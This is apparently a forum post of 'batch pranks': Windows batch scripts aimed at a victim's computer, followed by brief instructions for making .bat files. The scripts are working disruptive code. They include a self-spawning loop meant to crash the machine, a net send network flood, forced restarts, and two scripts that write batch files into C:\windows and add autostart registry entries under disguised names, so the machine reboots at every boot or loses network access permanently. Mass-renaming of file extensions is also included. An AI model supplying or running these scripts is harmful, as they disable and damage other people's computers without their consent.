Batch pranks

Becarefull when making a batch file, well if you have any of the following text in it, and you open it you will be screwed

P.s Making a batch tutorial at the end.

Code:

:LOOP
Msg * Birds can't fly without wings...
Msg * Your gonna' die if you can't whistle...
GOTO :LOOP

Great prank that gets the the victim.

Code:

tree C:
@ECHO Please fill in the proper username; if not the above files will be deleted
@ECHO Have fun
@set/p\/name=username:
@ECHO ROFL you got it wrong
@ECHO LAWL you got it wrong again
@ECHO You're killing me here, you got it wrong again
@ECHO Cmon man
@ECHO All files are now being deleted. JUST KIDDING HAVE A GOOD DAY.
pause
shutdown -c Good bye, BTW you have been owned

Crasher - Lets you open an .exe program in a loop causing the computer to lag and hopefully crash.

Code:

@ECHO OFF
:LOOP
START calc.exe
START (name of batch file you created including extension here)
GOTO LOOP

Flood Network - Floods any computers in a network with yours.

Code:

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

Disable Internet / Network - Great for a good joke.

Code:

ipconfig /release

Shutdown a computer.

Code:

shutdown -r -f -t0

Shutdown a computer every time it is booted up.

Code:

echo @echo off>c:\windows\hartlell.bat
echo break off>>c:\windows\hartlell.bat
echo shutdown -r -t 11 -f>>c:\windows\hartlell.bat
echo end>>c:\windows\hartlell.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\hartlell.bat /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v HAHAHA /t reg_sz /d c:\windows\hartlell.bat /f
echo Inching Away strikes again!
PAUSE

Disable Internet / Network Permanently

Code:

echo @echo off>c:\windows\wimn32.bat
echo break off>>c:\windows\wimn32.bat
echo ipconfig/release_all>>c:\windows\wimn32.bat
echo end>>c:\windows\wimn32.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v WINDOWsAPI /t reg_sz /d c:\windows\wimn32.bat /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v CONTROLexit /t reg_sz /d c:\windows\wimn32.bat /f
echo Inching Away strikes again!
PAUSE

Change commonly used files (.exe) into .txt files.

Code:

REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

Making a batch file.
1. Open up notepad - Can be found at
Start > all programmes > accesories

2. Dont write anything and save the file as (anything).bat

3. Now find it and write click it, it will look like a command promt click edit
now insert any text above

DO NOT OPEN THEM UNLESS THEY ARE NOT HARMFULL THESE DO WORK